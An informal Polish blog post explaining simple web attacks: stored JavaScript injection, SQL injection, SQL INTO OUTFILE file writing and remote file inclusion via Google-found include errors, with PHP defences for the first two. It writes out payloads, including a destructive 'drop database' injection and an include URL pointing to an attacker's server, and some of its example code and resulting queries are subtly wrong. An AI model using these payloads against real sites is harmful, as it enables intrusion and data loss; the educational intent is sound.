[Parówa] Najprostsze ataki na webaplikacje

No i zgodnie z obietnicą opiszę dziś w miarę szybko parę prostych i powszechnie znanych metod naruszania bezpieczeństwa aplikacji internetowych. Dotyczyć wszystko będzie nie tylko sposobów na uzyskanie dostępu do serwerów, ale także bezpieczeństwa użytkowników strony.

JavaScript Injection

Teoria

JavaScript Injection to wstrzyknięcie kodu JavaScript na atakowaną stronę w celu wykonania go po stronie przeglądarki użytkownika. Osiągnąć to można na przykład wrzucając odpowiedni kod do "dodawaczki komentarzy". Co więcej - zazwyczaj najprostsze sposoby są zazwyczaj tak samo skuteczne, jak te skomplikowane. Co można uzyskać? Wszystko zależy od tego, gdzie można nasz kod osadzić.

Praktyka

Wyobraźmy sobie ową dodawczkę. Dwa inputy, jeden z miejscem na nicka, drugi z miejscem na treść komentarza, taki sam jak poniżej tego tekstu. Użytkownik próbujący atakować stronę w polu nick poda następujący kod:

<script type="text/javascript">alert("Hello world!");</script>tfl

Interpreter, który jest niepoprawnie skonstruowany może taką treść dodać do bazy danych. Kolejny użytkownik wejdzie na stronę, strona zacznie się ładować, aż dojdzie do fragmentu z zainfekowanym komentarzem, pojawi się alert. Czy to tyle? Nie. Wyobraźmy sobie, że udało się nam osadzić js na stronie z panelem logowania. JavaScript przechwytuje próbę zalogowania, przesyła dane do serwera atakującego, a potem przekazuje je z powrotem na właściwy serwis, gdzie następuje normalne logowanie. Można też posadzić javascript gdzieś w strefie użytkownika zalogowanego i przesyłać dane cookie (przeglądarka na to pozwoli, w końcu kod javascript pochodzi z tej samej domeny). Albo w ogóle zmienić stronę i stworzyć fałszywy form do zalogowania? Dlaczego by nie?

Jak się bronić?

Tak samo jak łatwo opanować sztukę wstrzykiwania szkodliwego kodu, tak samo temu zapobiegać. Na przykładzie PHP:

$new = htmlspecialchars("<a href="test">Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

Funkcja htmlspecialchars zamienia wszystkie specjalne znaki używane w html (ampersand, pojedyncze cóski ('), podwójne cóski ("), znak większości i znak mniejszości (<>)) na ich htmlowe odpowiedniki.

SQL Injection

Teoria

Od kiedy strony internetowe przestały być statyczne, trzeba dynamicznie zapisywać dane pochodzące od użytkowników serwisów. Do tego oczywiście używamy baz danych i formularzy na stronach. W składni sql uznaje się, że średnik oddziela zapytania. Między innymi to właśnie pozwala na naruszenie bezpieczeństwa aplikacji.

Praktyka

Teoretycznie (nomen omen) rozpatrzmy dwa zapytania:

select `id` from `users` where `user` = '".$_POST['user']."' and `pass` = '".$_POST['pass']."'

oraz

insert into `users` (`user`, `pass`) VALUES ('".$_POST['user']."', '".$_POST['pass']."')

Pierwsze może posłużyć do logowania, drugie do rejestrowania. Jeśli jakiś spryciarz w pierwszym przykładzie poda hasło

terefere' or 1=1

wówczas zapytanie uzyska następującą formę:

select `id` from `users` where `user` = 'user' and `pass` = 'terefere' or 1=1'

A w odpowiedzi zwróci wszystkie id użytkowników (oczywiście w zależności od ustawionego po stronie SQL domyślnego limitu). A co jeśli przy rejestracji nasz spryciarz zamiast hasła poda:

terefere');drop database `database`;

Wówczas zapytanie uzyska formę:

insert into `users` (`user`, `pass`) VALUES ('user', 'terefere;drop database `database`;')

Jak się bronić?

To również nie jest trudne. W przypadku php wygląda to między innymi tak:

sprintf("SELECT * FROM uzytkownicy WHERE uzytkownik='%s' AND haslo='%s'",
            mysql_real_escape_string($uzytkownik),
            mysql_real_escape_string($haslo));

Funkcja mysql_real_espace_string (której oczywiście można użyć dla każdego rodzaju zapytań, pod warunkiem posiadania php z skompilowanym ext php_mysql) dodaje znaki \ przed wszystkimi znakami, które mogą powodować rozdzielenie zapytań.

To oczywiście tylko teoria, ale zdaje się daje dobre światło na możliwości tej metody. Przy błędnie skonfigurowanym SQL można uzyskać dostęp do użytkowników i sprobówać...

SQL file Injection

Teoria

To już wybitnie teoretyczna sytuacja, nawet nie pokuszę się o praktyczną część. Chodzi więc o to, by przy pomocy przejętego serwera sql, stworzyć tablicę, zapisać niej rekord ze specjalnie spreparowanym kodem, który następnie przez "into outfile" zostanie zapisany do pliku, ten z kolei zostanie wykonany. Ten "specjalnie spreparowany kod" może być na przykład kodem php przekazującym na zewnątrz sygnatury sesji php itp.

Google include hack

Teoria

Czymże byłby internet bez googla w dzisiejszych czasach. Nie wiem. Ale na pewno byłby bezpieczniejszy. W przepastnych zasobach internetu można wyszukać setki poradników o tym, jak skutecznie szukać luk zabezpieczeń przez googla. Na czym polega google include hack? Na szukaniu odpowiednich informacji o błędach funkcji include. A co możemy dzięki include? Na przykład możemy na cudzej stronie wywołać naszą stronę.

Praktyka

Po co nam google? Szukamy strony, która zaindeksowała się z informacją o błędzie (brak pliku, który miał zostać zaincludowany). Dzięki temu nie musimy szukać na ślepo. Gdy już znajdziemy, próbujemy podać serwisowi nasz zewnętrzny kod na przykład tak:

http://www.strona.com/?lang=http://www.moj_serwer.pl/katalogi.txt

I teraz, o ile aplikacja nie jest poprawnie zabezpieczona, zmienna $_GET['lang'] zawiera nasz kod. O ile zmienna lang jest potrzebna do wskazywania odpowiedniej wersji językowej, która potem jest includowana, na serwerze ofiary zostanie wykonany nasz kod.

Sytuacja jest dość prosta do wychwycenia przez developerów aplikacji, ale i tak mimo to... zresztą, zobaczcie sami tutaj.

Podsumowanie

Nie będę ukrywał, że mi się już nie chce podgotowywać tej parówki. Na wszystko są metody i nie ma zabezpieczeń nie do złamania. Ale prawda jest taka, że można spędzić setki godzin na próbach dostania się do serwera i ostukując serwis tysiącem testów penetracyjnych i nic nie znaleźć, albo można zadzwonić do firmy i poprosić o podanie hasła. Ta druga metoda nazywa się socjotechniką, czyli dlaczego hacker może być humanistą... Ale to może już innym razem.

ps. Tekst pisany na luzie, więc bez wyjazdów malkontenci, wiem, że nie poprawnie jest pisać "wywołać stronę na stronie".